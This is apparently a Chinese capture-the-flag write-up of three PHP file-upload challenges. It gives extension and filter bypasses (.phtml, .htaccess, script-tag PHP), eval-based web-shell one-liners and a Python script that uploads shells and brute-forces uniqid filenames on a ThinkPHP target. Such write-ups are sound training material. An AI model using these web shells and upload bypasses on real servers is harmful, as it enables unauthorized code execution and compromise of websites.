本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[ACTF2020 新生赛]Upload
对文件类型进行了限制,改成jpg后抓包改后缀,知道用phtml做后缀后上传成功
./uplo4d/4bec740371f2c04dd922fb8dc2afa481.phtml
直接蚁剑连
终端cat flag
flag{f1168e52-4412-4d32-9683-0cb3e71e5a95}
[GXYCTF2019]BabyUpload
尝试上传一句话
提示了后缀名不能有ph,想办法绕
经过测试,题目限制了content类型,必须是image/jpeg
同时不能含有ph,于是我们先上传抓包改后缀上传一个
.htaccess文件,让其将jpg解析成php
又经过测试发现其过滤了<?,于是找到另一个一句话木马
<script language='php'>@eval($_POST['shell']);</script>
之后蚁剑连
flag{b6a21447-c536-4bd3-8510-b8f6ae990127}
该题禁止上传ph,过滤<?,Content-Type=image/jpeg
其中用蚁剑虚拟终端时cat /flag被禁用了(shell =system("cat flag")
我们可以在网页用shell=show_source('/flag'); 来获取flag
两种方法
RoarCTF 2019]Simple Upload(thinkphp上传)
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
经考察,是thinkphp知识
thinkphp路由
利用路由功能,可以让你的URL地址更加简洁和优雅。ThinkPHP支持对模块的URL地址进行路由操作。路由功能是针对PATHINFO模式或者兼容URL而设计的,暂时不支持普通URL模式。
默认路径
路由简单来说可以起到一个重定向的作用 这样既可以隐藏真实物理路径 也可以减少服务器文件夹的冗余 有个需要知道的知识点就是 在路由里 默认的上传文件路径是/home/index/upload ,这题有一个坑 如果我们输url+/home/index/upload的话 会404
然后
tp内置了一套上传文件的方法在配置的时候不知道大家有没有注意过根目录配置的问题。
eg: $upload->rootPath = './OA/Uploads/';
这样配置就可以定位到 根目录/OA/Uploads/下。
这个'./' 众所周知是表示当前目录,为什么可以被解析为根目录呢?
意识到一个问题,由于thinkphp是单入口文件,所有的问题都要由index.php进入,故而这个'./'是相对于index.php 的目录,终于明白了
upload类的错误使用
接下来的点是upload类的错误使用而导致的getshell 下面还是贴上tp的手册 我们知道 如果upload类在不含参的时候上传 是不会对文件进行过滤的 也就是会把整个$_FILE数组的文件都上传 但是上传时有个问题
总共上传了三次 第一三次上传的是一个空的txt文件 可以看到的地址和文件名 然而如果上传一个不含参的文件时 他只会给你地址不会给你文件名 虽然传上去了但是连不上
UNIQID
UNIQID函数是根据当前计算机时间生成一个文件名的函数 这也是upload类调用的命名函数 也就是说 如果我们两个上传的文件在时间上够接近 那么他们的文件名就可以用爆破的方式跑出来 如果我们上传成功 那么当我们访问这个文件的时候 就会有正常回显 但是如果我们访问不到 就会404 也就是说可以根据这个进行爆破 爆破可以写python也可以直接用burpsuite
脚本
网上有很多脚本,找几个
import requests
'''方法一'''
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/index.php/home/index/upload'
s = requests.Session()
file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)
'''爆破'''
dir ='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
for j in dir:
for k in dir:
for x in dir:
for y in dir:
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
print(url)
r = requests.get(url)
if r.status_code == 200:
print(url)
break
'''方法二'''
url = "http://9b96c9f8-7b74-491a-94fd-f8063d1b8a29.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)